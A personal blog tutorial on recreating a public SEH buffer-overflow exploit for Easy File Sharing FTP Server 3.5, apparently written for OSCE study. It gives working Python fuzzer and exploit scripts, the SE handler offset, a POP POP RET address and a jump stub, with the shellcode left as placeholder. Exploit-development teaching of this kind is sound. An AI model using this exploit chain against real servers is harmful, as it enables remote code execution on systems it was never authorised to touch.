Fahri Shihab

Oct 29, 2019

6 min read

Structured Exception Handling (SEH) Buffer Overflow

Easy File Sharing FTP Server 3.5

On a beautiful Sunday evening, I was laying down in my bedroom watching the latest music video from my all time favourite Indonesian band.

The video depicts the band playing field hockey in a parking lot before having a show at that same place later in the evening. It reminded me about a choice I made a few months ago.

Recently I have adopted the OKR system in my personal life. Two of the many objectives I had was to be able to play ice hockey and complete OSCE.

I have started taking ice skating lessons for about 2 months until I decided that I was going to pause this for OSCE. Long story short, I failed my 1st attempt on OSCE exam.

I felt like I have failed myself by not passing the exam. After having a discussion with my manager, he made me realize that it is not about being certified, but its about what I am going to do with the knowledge.

One of the things we agreed on is to continue finding bugs in the related topic. I had to start by re-creating old exploits so that I would really understand the concept and get the hang of it. That is why I chose this topic to be my first post. Hopefully you can benefit from this!

On this post, I will be exploiting Easy File Sharing FTP Server 3.5. It will cover from fuzzing, until payload execution. However, this post will not cover the payload generated, that is totally up to you to choose which payload! :)

Recreating the Exploit

The public exploit can be found here https://www.exploit-db.com/exploits/33538. The vulnerable application is also available for download at that link.

I know, we have seen what the exploit looks like and we can just run the code to prove that the exploit is actually working. But where is the fun in that?!

Assuming that the only thing we know that would cause the application to crash is the character \x2c, which is a comma ,. We can start out by writing a simple python fuzzer.

import socketcharacters = ['!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/',':',';','<','=','>','?','@','[','\\',']','^','_','`','{','|','}','~']for char in characters:
for i in range(30):
print('Character: ' + char + ' amount: ' + str(i*100))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.49.136", 23))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + char * 100 * i + "\r\n")
s.recv(1024)
s.close()

After running it, we found out that it will crash when we send \x2c 600 times.

If we examine the crash, our payload is just a few address down the ESP, which indicates a SEH buffer overflow. But when we open the SEH chain, we don’t see anything.

To verify our hypothesis, instead of sending 600 characters, let’s try again by sending out 3000 characters and examine the SEH chain.

This time its clearer as its trying to access an address that looks similar to our payload. Our payload on the stack also seems closer to ESP than before.

Finding the offsets

The next step is to find the exact offset which overwrites the SE handler so we can control the execution flow. There is an online pattern generator and offset finder that I’d like to use. You can find it here https://wiremask.eu/tools/buffer-overflow-pattern-generator/?

For the offset, we should generate a pattern of 3000 characters to use on our payload. Note: I will redact the pattern to save space

import socket
import struct
pattern = <3000PatternHere>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.49.136", 23))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + '\x2c' + pattern + "\r\n" )
s.recv(1024)
s.close()

After firing up this exploit, SE handler is now 68443468

Let’s make one last modification to the exploit to verify that the offset is right.

import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.49.136", 23))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + '\x2c' + 'A'*2563 + 'B'*4 + 'C'*(3000-4-2563-1) + "\r\n" )
s.recv(1024)
s.close()

In the above snippet, I sent 1 comma, 2563 As, 4 Bs and the remaining with Cs. Hopefully our SE Handler will be overwritten by the 4 Bs.

Now it becomes interesting. When the exception is handled, EIP will be overwritten with the address in the SE Handler. Since we can control the value in the handler, we can have it execute our own code

What Next?

When the first crash occurs, pass exception by pressing shift+f7 and pay attention to the stack once again.

Notice that address 0x00F3ADD0 points to the last 4 bytes of our As. To reach that point, we need to pop the stack twice so that 0x00F3ADD0 is on top, and then return to it.

We need to find a pop pop ret instruction, preferably at the application DLL so that it is more flexible and not OS dependent.

We managed to find that at SSLEAY32.dll at address 0x10017f21. Now it’s time to update the exploit again and examine the crash. This time we will put \xcc replacing the last 4 bytes of our As as a breakpoint replacement.

Set a breakpoint at 0x10017f21 and step into the next instructions, we will land at our \xcc.

The Final Payload

Oh yeah, I know we’ve been waiting for this. For the program to actually jump into our payload, we need to jump from where we are in the code (the \xcc) to the actual payload below that.

Let’s set a jump of 20 bytes to be safe, and fill nops (\x90) before our payload. The decimal for 20 is hex14.

import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.49.136", 23))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
# 10017F20 5F POP EDI
# 10017F21 5E POP ESI
# 10017F22 59 POP ECX
# 10017F23 C3 RETN
#Crash initiator
payload = '\x2c'
#Junk
payload += 'A' * 2559
#Next SEH
payload += '\xeb\x14\x90\x90'
#SEH
payload += '\x21\x7f\x01\x10'
#Actual Payload
payload += 'C'*(3000-4-4-2559-1)
s.send("PASS " + payload + "\r\n" )
s.recv(1024)
s.close()

Congratulations! You have reached your final payload!

This gives about 422 bytes of payload that we can enter, hopefully it is enough with what you want to do! I will not be covering the payloads here. I just want to help you get through the exploit development process! Cheers!

References